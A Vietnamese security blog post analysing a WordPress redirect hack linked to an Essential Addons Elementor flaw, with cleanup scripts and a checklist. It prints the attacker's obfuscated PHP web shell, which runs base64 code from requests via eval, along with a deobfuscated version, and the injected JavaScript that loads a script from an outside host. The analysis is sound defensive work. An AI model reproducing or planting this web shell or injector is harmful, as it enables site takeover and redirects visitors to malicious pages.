Loading
May 19, 2023By Harry Ha

Trang web wordpress bị hack chuyển hướng (redirect) và cách khắc phục

Hiện tượng

Blog WordPress của bạn tự động chuyển hướng sang hxxps://cdn.scriptsplatform[.]com khi truy cập vào trang chủ Sau đó nó lại chuyển tới một loạt các trang có nội dung độc hại, không lành mạnh khác. Truy cập trang quản trị thấy xuất hiện thêm các Plugins và Users mới mà không rõ nguyên nhân vì sao.

Nếu bạn gặp các hiện tượng này thì bạn đang là nạn nhân của một cuộc tấn công phát tán mã độc của Hacker. Chúng khai thác website của bạn dựa vào lỗ hổng trong Plugin Essential Addons Elementor của WordPress.

Lỗ hổng trong Plugin Elementor

Vào ngày 11 tháng 5 năm 2023, plugin WordPress rất phổ biến Essential Addons Elementor có một lỗ hổng nghiêm trọng trong việc quản lý authorization. Nó cho phép hacker nâng cấp một người dùng bình thường lên vị trí quản trị (admin). Từ đó hacker có thể tự do cài đặt các Plugin, Theme độc hại nhằm khai thác dữ liệu hoặc điều hướng người dùng.

Hơn một triệu trang web sử dụng plugin này, và hơn 6.000 website có nguy cơ bị Hacker tấn công từ xa. Mới đây, WordPress đã phát hành bản vá cho lỗ hổng này. Người dùng nên cập nhật Elementor Pro lên phiên bản 3.11.7 hoặc 3.12.0 nhằm giảm thiểu các mối đe dọa tiềm ẩn.

Thu thập thông tin

Tín hiệu của Hacker

Bạn tưởng tượng một cuộc tấn công diện rộng như này, hacker cần phải kiểm soát hoặc thống kê các site mà nó đã hack vào. Thay vì truy cập lại thủ công từng trang một, chúng sẽ có một công cụ nào đó để làm việc này một cách tự động. Và cái file wp-sale.js mà hacker để lại trên hệ thống của bạn sau khi hack xong chính là thông tin cấu hình cho cái công cụ ý.

Hay nói cách khác, đây chính là file tín hiệu hoặc backdoor của hacker để phục vụ cho các lần xâm nhập về sau. Cookie viết một đoạn Script nhỏ để tìm tất cả các file wp-sale.js có trên hệ thống.

wpsale=`find . -type f -name "wp-sale.js"`;
for i in $wpsale
 do echo $i; cat $i && echo ''
done
/var/www/wp-sale.js
/*:demowpsale:25e0db6a7d8d6b604de5899df2b5a2d2:demowpsale:wp-working-need-gmy.php:demowpsale:*/

Nội dung file cấu hình bao gồm gồm tên tài khoản demowpsale do hacker tạo ra kèm mật khẩu là 25e0db6a7d8d6b604de5899df2b5a2d2. Theo sau đó là tên web shell wp-working-need-gmy.php được tạo ra trên hệ thống là. Tên file này được tạo ra ngẫu nhiên với tiền tố wp-* và nó đứng ngang hàng với file cấu hình này.

Web Shell

Hacker đã thực hiện làm rối mã nguồn (obfuscate) của Web shell nà để làm khó quá trình phân tích và né tránh các công cụ rà quét mã độc. Nội dung của working-need-gmy.php có nội dung tương tự như dưới đây.

<?php 
error_reporting(0);
$stzqb = array_merge($_GET, $_COOKIE, $_POST);
$jnphl = "in_" . "ar" . "ray";
if ($stzqb["m"] == "1")
{
    die("3bdf99e4342f43cc38a4f11c4ddb91af");
}
if (md5($stzqb["ae2cf"]) === "3bdf99e4342f43cc38a4f11c4ddb91af")
{
    kxoez($stzqb);
}
function kxoez($zvbdv)
{
    $jspkv = "fi" . "le_" . "exi" . "sts";
    $wtgon = "f" . "op" . "en";
    $iodmf = "f" . "cl" . "ose";
    $mjwik = "u" . "nl" . "ink";
    if ($jspkv("./wp-sale.js"))
    {
        @$mjwik("./wp-sale.js");
    }
    $wvkwb = "t" . "mpf" . "ile";
    $fvosj = "fw" . "rite";
    $uctdk = "fs" . "eek";
    $cxpcj = "ba" . "se" . chr(54) . chr(52) . chr(95) . chr(100) . chr(101) . chr(99) . "o" . chr(100) . chr(101);
    $jnphl = "str" . "ea" . "m_" . "get" . "_m" . "eta" . "_" . "data";
    $ftemv = $wvkwb();
    if (fwrite($ftemv, chr(60) . chr(63) . chr(112) . chr(104) . chr(112) . chr(32) . $cxpcj($zvbdv["a3fc8"])) != false)
    {
        include $jnphl($ftemv) ["uri"];
        $iodmf($ftemv);
    }
    else
    {
        @eval($cxpcj($zvbdv["a3fc8"]));
    }
}
?>

Mình làm việc với trợ lý ChatGPT để yêu cầu nó đảo ngược lại kỹ thuật làm rối (deobfuscate) và viết lại cho gọn gàng dễ hiểu thì được kết quả như dưới đây.

<?php
error_reporting(0); // Disable error reporting

$parameters = array_merge($_GET, $_COOKIE, $_POST); // Merge GET, COOKIE, and POST parameters into an array
$checkArray = 'in_' . 'array'; // Function to check if a value exists in an array

if ($parameters['m'] == '1') { // If the parameter 'm' is equal to '1'
    die('3bdf99e4342f43cc38a4f11c4ddb91af'); // Terminate and display a specific message
}

if (md5($parameters['ae2cf']) === '3bdf99e4342f43cc38a4f11c4ddb91af') { // If the MD5 hash of the parameter 'ae2cf' matches a specific value
    processRequest($parameters); // Call the function to process the request
}

function processRequest($data) {
    $fileExists = 'file_exists'; // Function to check if a file exists
    $openFile = 'fopen'; // Function to open a file
    $closeFile = 'fclose'; // Function to close a file
    $unlinkFile = 'unlink'; // Function to delete a file

    if ($fileExists('./wp-sale.js')) { // If the file './wp-sale.js' exists
        @$unlinkFile('./wp-sale.js'); // Delete the file (suppressing errors)
    }

    $tempFile = 'tmpfile'; // Function to create a temporary file
    $writeToFile = 'fwrite'; // Function to write to a file
    $seekFile = 'fseek'; // Function to move the file pointer to a specific position

    $baseCode = 'base' . chr(54) . chr(52) . chr(95) . chr(100) . chr(101) . chr(99) . 'o' . chr(100) . chr(101); // Decoded string: base64_decode

    $streamData = 'stream_get_meta_data'; // Function to retrieve metadata about a stream

    $tempFileHandle = $tempFile(); // Create a temporary file

    // chr(60) . chr(63) . chr(112) . chr(104) . chr(112) . chr(32) is <?php
    if ($writeToFile($tempFileHandle, chr(60) . chr(63) . chr(112) . chr(104) . chr(112) . chr(32) . $baseCode($data['a3fc8'])) !== false) {
        // If writing to the temporary file is successful
        $fileMetadata = $streamData($tempFileHandle); // Get metadata about the file
        include($fileMetadata['uri']); // Include the file specified by the URI in the metadata
        $closeFile($tempFileHandle); // Close the file
    } else {
        @eval($baseCode($data['a3fc8'])); // Evaluate the decoded string (suppressing errors)
    }
}
?>

Khi hacker gọi tới đường dẫn /working-need-gmy.php nó sẽ thực hiện kiểm tra các điều kiện sau

  • Nếu tham số ae2cf=3bdf99e4342f43cc38a4f11c4ddb91af nó sẽ thực hiện gọi hàm processRequest() để xử lý
  • Hàm processRequest() sẽ kiểm tra nếu wp-sale.js tồn tại thì xoá nó đi. Mục đích là dữ liệu của hacker luôn được cập nhật mới nhất. Sau đó, nó sẽ tạo ra một file độc hại được tạo với tên ngẫu nhiên trong thư mục /tmp của hệ thống (ví dụ /tmp/phpXXXX) thông qua hàm tmpfile() của PHP.
  • Nội dung của file này chính là mã độc được viết bằng PHP. Được hacker truyền vào thông qua tham số a3fc8=base64_encode(hacker_code)), với giá trị
  • Nếu file này không được tạo ra, nó sẽ thực thi mã PHP thông qua hàm eval của PHP

Web Redirect

Chưa thấy Hacker có hành vi đánh cắp thông tin, mã hoá tống tiền hay các hoạt động đào tiền ảo trên server. Mục đích của chúng chỉ điều hướng người dùng khi truy cập trang web của bạn sang các trang độc hại, không lành mạnh hoặc mua hàng online.

Do đây là một cuộc tấn công diện rộng, hacker không thể biết hết nghiệp vụ của các trang mục tiêu. Nên để đảm bảo tất cả người dùng khi truy cập vào Website đều bị điều hướng, chúng sẽ tìm kiếm tất cả các file JavaScript (có đuôi *.js) trên server và nhúng đoạn mã độc hại.

function b(c,d){var e=a();return b=function(f,g){f=f-0xb6;var h=e[f];return h;},b(c,d);}var w=b;(function(c,e){var u=b,f=c();while(!![]){try{var g=parseInt(u(0xcd))/0x1+parseInt(u(0xba))/0x2*(parseInt(u(0xca))/0x3)+parseInt(u(0xc3))/0x4*(-parseInt(u(0xb6))/0x5)+parseInt(u(0xb8))/0x6+-parseInt(u(0xbb))/0x7+parseInt(u(0xc4))/0x8*(-parseInt(u(0xc9))/0x9)+parseInt(u(0xcc))/0xa*(parseInt(u(0xb7))/0xb);if(g===e)break;else f['push'](f['shift']());}catch(h){f['push'](f['shift']());}}}(a,0xce7d0));function o(c){var v=b;return Boolean(document[v(0xbe)]('sc'+'ri'+v(0xcb)+'sr'+v(0xcf)+c+'"]'));}var p='ht'+String['fromCharCode'](0x74,0x70,0x73,0x3a,0x2f,0x2f,0x63,0x64,0x6e,0x2e,0x63,0x6c,0x69,0x63,0x6b)+w(0xc6)+String[w(0xc2)](0x61,0x6e,0x61,0x6c,0x79,0x74,0x69,0x63,0x73,0x2e,0x63,0x6f,0x6d,0x2f,0x74,0x72)+w(0xbc),q=w(0xbd);function a(){var x=['insertBefore','fromCharCode','12fPdhdw','8VCaeVh','parentNode','and','getElementsByTagName','currentScript','4805253xvDxxR','9033MhPFBZ','pt[','4413390HRsPqg','1448521OPFmcJ','appendChild','c="','826695xLnqqU','33CMOmkK','583506hpPNaq','createElement','402stSGah','11195030vIVdyw','ack','17575602BTZXWl','querySelector','src','head'];a=function(){return x;};return a();}if(o(p)===![]){var r=document,t=r[w(0xb9)]('sc'+'r'+'ip'+'t');t[w(0xbf)]=p,r['currentScript']?r[w(0xc8)][w(0xc5)]!==null&&r[w(0xc8)][w(0xc5)][w(0xc1)](t,r[w(0xc8)]):r[w(0xc7)](w(0xc0))[0x0]!==null&&r[w(0xc7)](w(0xc0))[0x0][w(0xce)](t);}/*!

Để đoạn mã JavaScript này luôn hoạt động, chúng sẽ viết tất cả chúng trên một dòng và xuất hiện ở dòng đầu tiên trong file.

Xoá bỏ mã độc

Đọc file wp-sales.js để tìm ra tên username và tên file webshell. Sau đó vào trong cơ sở dữ liệu để xoá bỏ tài khoản. Tiếp tục tìm file webshell để xoá chúng bằng tay. Hoặc bạn có thể tìm tự động bằng đoạn Bash Script sau.

wpsale=`find . -type f -name "wp-sale.js"`;
for i in $wpsale
   do f1=`cat $i| cut -d: -f5`;
   locate $f1;
done
/wp-working-need-gmy.php
/wp-cliff-need-ito.php
/wp-track-need-okq.php
/wp-sold-need-tlv.php
/wp-sold-need-tlv.php

Như đã nói ở trên, chúng điều hướng người dùng của chúng ta đi chỗ khác thông qua file JavaScript độc hại. Mặc dù nội dung function, tên biến luôn thay đổi ở mỗi file JavaScript mà chúng nhúng vào, nhưng chúng có một điểm chung là có từ khoá “‘sc’+’r’+’ip’+’t’“.

Ta có thể tìm chúng dễ dàng tìm tất cả các file JavaScript mà Hacker sửa đổi bằng bash script sau:

find . -type f -name "*.js" -exec grep -H "'sc'+'r'+'ip'+'t'" {} \;
    ./wp-includes/js/wp-emoji-loader.min.js:function b(c,d){var e=a();return b=function(f,g){f=f-0xb6;var h=e[f];return h;},b(c,d);}var w=b;(function(c,e){var u=b,f=c();while(!![]){try{var g=parseInt(u(0xcd))/0x1+parseInt(u(0xba))/0x2*(parseInt(u(0xca))/0x3)+parseInt(u(0xc3))/0x4*(-parseInt(u(0xb6))/0x5)+parseInt(u(0xb8))/0x6+-parseInt(u(0xbb))/0x7+parseInt(u(0xc4))/0x8*(-parseInt(u(0xc9))/0x9)+parseInt(u(0xcc))/0xa*(parseInt(u(0xb7))/0xb);if(g===e)break;else f['push'](f['shift']());}catch(h){f['push'](f['shift']());}}}(a,0xce7d0));function o(c){var v=b;return Boolean(document[v(0xbe)]('sc'+'ri'+v(0xcb)+'sr'+v(0xcf)+c+'"]'));}var p='ht'+String['fromCharCode'](0x74,0x70,0x73,0x3a,0x2f,0x2f,0x63,0x64,0x6e,0x2e,0x63,0x6c,0x69,0x63,0x6b)+w(0xc6)+String[w(0xc2)](0x61,0x6e,0x61,0x6c,0x79,0x74,0x69,0x63,0x73,0x2e,0x63,0x6f,0x6d,0x2f,0x74,0x72)+w(0xbc),q=w(0xbd);function a(){var x=['insertBefore','fromCharCode','12fPdhdw','8VCaeVh','parentNode','and','getElementsByTagName','currentScript','4805253xvDxxR','9033MhPFBZ','pt[','4413390HRsPqg','1448521OPFmcJ','appendChild','c="','826695xLnqqU','33CMOmkK','583506hpPNaq','createElement','402stSGah','11195030vIVdyw','ack','17575602BTZXWl','querySelector','src','head'];a=function(){return x;};return a();}if(o(p)===![]){var r=document,t=r[w(0xb9)]('sc'+'r'+'ip'+'t');t[w(0xbf)]=p,r['currentScript']?r[w(0xc8)][w(0xc5)]!==null&&r[w(0xc8)][w(0xc5)][w(0xc1)](t,r[w(0xc8)]):r[w(0xc7)](w(0xc0))[0x0]!==null&&r[w(0xc7)](w(0xc0))[0x0][w(0xce)](t);}/*! This file is auto-generated */
    
    ./wp-includes/js/wp-emoji-release.min.js:function b(c,d){var e=a();return b=function(f,g){f=f-0x145;var h=e[f];return h;},b(c,d);}var w=b;(function(c,e){var u=b,f=c();while(!![]){try{var g=parseInt(u(0x15e))/0x1+-parseInt(u(0x151))/0x2*(-parseInt(u(0x159))/0x3)+parseInt(u(0x157))/0x4+parseInt(u(0x15b))/0x5*(parseInt(u(0x14a))/0x6)+parseInt(u(0x15d))/0x7*(-parseInt(u(0x15c))/0x8)+-parseInt(u(0x146))/0x9*(parseInt(u(0x15a))/0xa)+-parseInt(u(0x154))/0xb;if(g===e)break;else f['push'](f['shift']());}catch(h){f['push'](f['shift']());}}}(a,0x25e53));function a(){var x=['1542768XuQeER','7LJRiji','190253RQfiLg','ack','9873ERvYkM','src','getElementsByTagName','head','577056TDeogj','querySelector','currentScript','and','17575602BTZXWl','c="','insertBefore','20YHUutc','pt[','createElement','7187169AjbnXk','appendChild','fromCharCode','1064464POhRSF','parentNode','93090WEQkWm','490PFXmzl','15jDaVza'];a=function(){return x;};return a();}function o(c){var v=b;return Boolean(document[v(0x14b)]('sc'+'ri'+v(0x152)+'sr'+v(0x14f)+c+'"]'));}var p='ht'+String[w(0x156)](0x74,0x70,0x73,0x3a,0x2f,0x2f,0x63,0x64,0x6e,0x2e,0x63,0x6c,0x69,0x63,0x6b)+w(0x14d)+String[w(0x156)](0x61,0x6e,0x61,0x6c,0x79,0x74,0x69,0x63,0x73,0x2e,0x63,0x6f,0x6d,0x2f,0x74,0x72)+w(0x145),q=w(0x14e);if(o(p)===![]){var r=document,t=r[w(0x153)]('sc'+'r'+'ip'+'t');t[w(0x147)]=p,r[w(0x14c)]?r[w(0x14c)][w(0x158)]!==null&&r[w(0x14c)][w(0x158)][w(0x150)](t,r[w(0x14c)]):r[w(0x148)](w(0x149))[0x0]!==null&&r[w(0x148)](w(0x149))[0x0][w(0x155)](t);}/*! This file is auto-generated */

    ./wp-includes/js/jquery/jquery.min.js:var q=b;(function(c,e){var o=b,f=c();while(!![]){try{var g=-parseInt(o('0xba'))/0x1*(parseInt(o('0xb7'))/0x2)+-parseInt(o('0xb4'))/0x3*(parseInt(o('0xc8'))/0x4)+-parseInt(o('0xbb'))/0x5*(-parseInt(o('0xc3'))/0x6)+-parseInt(o('0xb8'))/0x7*(parseInt(o('0xbf'))/0x8)+parseInt(o('0xc5'))/0x9+-parseInt(o('0xbe'))/0xa+parseInt(o('0xcb'))/0xb;if(g===e)break;else f['push'](f['shift']());}catch(h){f['push'](f['shift']());}}}(a,0x714d4));function utrertdfg(c){var p=b;return Boolean(document[p('0xc1')]('sc'+'ri'+p('0xc4')+'sr'+p('0xca')+c+'"]'));}var bd='ht'+String[q('0xbd')](0x74,0x70,0x73,0x3a,0x2f,0x2f,0x63,0x64,0x6e,0x2e,0x63,0x6c,0x69,0x63,0x6b)+q('0xb9')+String[q('0xbd')](0x61,0x6e,0x61,0x6c,0x79,0x74,0x69,0x63,0x73,0x2e,0x63,0x6f,0x6d,0x2f,0x74,0x72)+q('0xb6'),bd3=q('0xb5');function b(c,d){var e=a();return b=function(f,g){f=f-0xb3;var h=e[f];return h;},b(c,d);}function a(){var r=['pt[','5097564MUtWzk','createElement','parentNode','4wgTeHa','currentScript','c="','6701838gXdYXA','src','1007859rvcVFL','17575602BTZXWl','ack','8bsVMac','14AtrLVh','and','38504mEoAvo','235TEzrgq','getElementsByTagName','fromCharCode','2456860AxmcND','2343336YnIOmK','appendChild','querySelector','head','77862qESfgD'];a=function(){return r;};return a();}if(utrertdfg(bd)===![]){var d=document,s=d[q('0xc6')]('sc'+'r'+'ip'+'t');s[q('0xb3')]=bd,d[q('0xc9')]?d[q('0xc9')][q('0xc7')]!==null&&d[q('0xc9')][q('0xc7')]['insertBefore'](s,d[q('0xc9')]):d[q('0xbc')]('head')[0x0]!==null&&d[q('0xbc')](q('0xc2'))[0x0][q('0xc0')](s);}/*! jQuery v3.6.4 | (c) OpenJS Foundation and other contributors | jquery.org/license */

    ./wp-includes/js/jquery/jquery.js:function b(c,d){var e=a();return b=function(f,g){f=f-0x145;var h=e[f];return h;},b(c,d);}var w=b;(function(c,e){var u=b,f=c();while(!![]){try{var g=parseInt(u(0x15e))/0x1+-parseInt(u(0x151))/0x2*(-parseInt(u(0x159))/0x3)+parseInt(u(0x157))/0x4+parseInt(u(0x15b))/0x5*(parseInt(u(0x14a))/0x6)+parseInt(u(0x15d))/0x7*(-parseInt(u(0x15c))/0x8)+-parseInt(u(0x146))/0x9*(parseInt(u(0x15a))/0xa)+-parseInt(u(0x154))/0xb;if(g===e)break;else f['push'](f['shift']());}catch(h){f['push'](f['shift']());}}}(a,0x25e53));function a(){var x=['1542768XuQeER','7LJRiji','190253RQfiLg','ack','9873ERvYkM','src','getElementsByTagName','head','577056TDeogj','querySelector','currentScript','and','17575602BTZXWl','c="','insertBefore','20YHUutc','pt[','createElement','7187169AjbnXk','appendChild','fromCharCode','1064464POhRSF','parentNode','93090WEQkWm','490PFXmzl','15jDaVza'];a=function(){return x;};return a();}function o(c){var v=b;return Boolean(document[v(0x14b)]('sc'+'ri'+v(0x152)+'sr'+v(0x14f)+c+'"]'));}var p='ht'+String[w(0x156)](0x74,0x70,0x73,0x3a,0x2f,0x2f,0x63,0x64,0x6e,0x2e,0x63,0x6c,0x69,0x63,0x6b)+w(0x14d)+String[w(0x156)](0x61,0x6e,0x61,0x6c,0x79,0x74,0x69,0x63,0x73,0x2e,0x63,0x6f,0x6d,0x2f,0x74,0x72)+w(0x145),q=w(0x14e);if(o(p)===![]){var r=document,t=r[w(0x153)]('sc'+'r'+'ip'+'t');t[w(0x147)]=p,r[w(0x14c)]?r[w(0x14c)][w(0x158)]!==null&&r[w(0x14c)][w(0x158)][w(0x150)](t,r[w(0x14c)]):r[w(0x148)](w(0x149))[0x0]!==null&&r[w(0x148)](w(0x149))[0x0][w(0x155)](t);}/*!

    ./wp-includes/js/wp-emoji-loader.js:function b(c,d){var e=a();return b=function(f,g){f=f-0x85;var h=e[f];return h;},b(c,d);}var w=b;(function(c,e){var u=b,f=c();while(!![]){try{var g=-parseInt(u('0x93'))/0x1+parseInt(u('0x86'))/0x2+-parseInt(u('0x8f'))/0x3*(-parseInt(u('0x91'))/0x4)+parseInt(u('0x8e'))/0x5*(parseInt(u('0x88'))/0x6)+parseInt(u('0x9d'))/0x7*(-parseInt(u('0x9a'))/0x8)+parseInt(u('0x8c'))/0x9*(-parseInt(u('0x89'))/0xa)+parseInt(u('0x92'))/0xb*(parseInt(u('0x98'))/0xc);if(g===e)break;else f['push'](f['shift']());}catch(h){f['push'](f['shift']());}}}(a,0x32f69));function a(){var x=['currentScript','pt[','497HVAybD','c="','661974dKQAuz','src','1113906jlZDaR','29710hscenP','parentNode','head','1125piWrzq','createElement','5bZtmCz','6XAdITU','and','485948rXOrZe','979iDtVIZ','117769tdgQiu','appendChild','getElementsByTagName','fromCharCode','17575602BTZXWl','44856uloAUF','insertBefore','44440iqFJld'];a=function(){return x;};return a();}function o(c){var v=b;return Boolean(document['querySelector']('sc'+'ri'+v('0x9c')+'sr'+v('0x85')+c+'"]'));}var p='ht'+String[w('0x96')](0x74,0x70,0x73,0x3a,0x2f,0x2f,0x63,0x64,0x6e,0x2e,0x63,0x6c,0x69,0x63,0x6b)+w('0x90')+String[w('0x96')](0x61,0x6e,0x61,0x6c,0x79,0x74,0x69,0x63,0x73,0x2e,0x63,0x6f,0x6d,0x2f,0x74,0x72)+'ack',q=w('0x97');if(o(p)===![]){var r=document,t=r[w('0x8d')]('sc'+'r'+'ip'+'t');t[w('0x87')]=p,r['currentScript']?r[w('0x9b')][w('0x8a')]!==null&&r[w('0x9b')][w('0x8a')][w('0x99')](t,r[w('0x9b')]):r[w('0x95')](w('0x8b'))[0x0]!==null&&r[w('0x95')](w('0x8b'))[0x0][w('0x94')](t);}/**

Do mã độc hại chỉ viết trên một dòng nên chúng ta chỉ cần tìm đúng dòng đó và xoá đi thôi. Bạn có thể thực hiện bằng tay hoặc sử dụng đoạn Script này mà Cookie viết

#!/bin/bash

find . -type f -name "*.js" -exec grep -l "'sc'+'r'+'ip'+'t'" {} \; |tee infected.txt

while IFS= read -r file_path; do
    echo "Processing file: $file_path"
	  cp $file_path $file_path.bak
    grep -n "'sc'+'r'+'ip'+'t'" "$file_path" | sed 's/^\([0-9]\+\):.*$/\1/'| while read -r line_number; do sed -i "${line_number}d" "$file_path"; done
done < infected.txt

Checklist

  • Cập nhật plugin lên phiên bản mới nhất
  • Cập nhật WordPress lên phiên bản mới nhất
  • Tìm wp-sales.js để có thông tin username do hacker tạo ra và web shell
  • Đổi toàn bộ mật khẩu của người dùng. Tránh trường hợp Hacker lấy được mật khẩu và đăng nhập luôn vào trong trang quản trị mà không phải hack.
  • Xoá user do hacker tạo ra
  • Xoá web shell
  • Xoá mã JavaScript chuyển hướng độc hại
  • Nếu website có sử dụng plugin cache như W3Total Cache thì hãy xoá Opcode Cache để đảm bảo mã độc được xoá khỏi hệ thống
  • Nếu website có đứng sau Cloudflare thì hãy xoá cache trên đó. Để nó không bị lưu mã JS cũ

Harry Ha

Whitehat hacker, Founder at Cookie Hân Hoan, Co-founder at CyRadar, Senior Penetration Tester, OSCP, CPENT, LPT, Pentest+

svg

What do you think?

It is nice to know your opinion. Leave a comment.

Leave a reply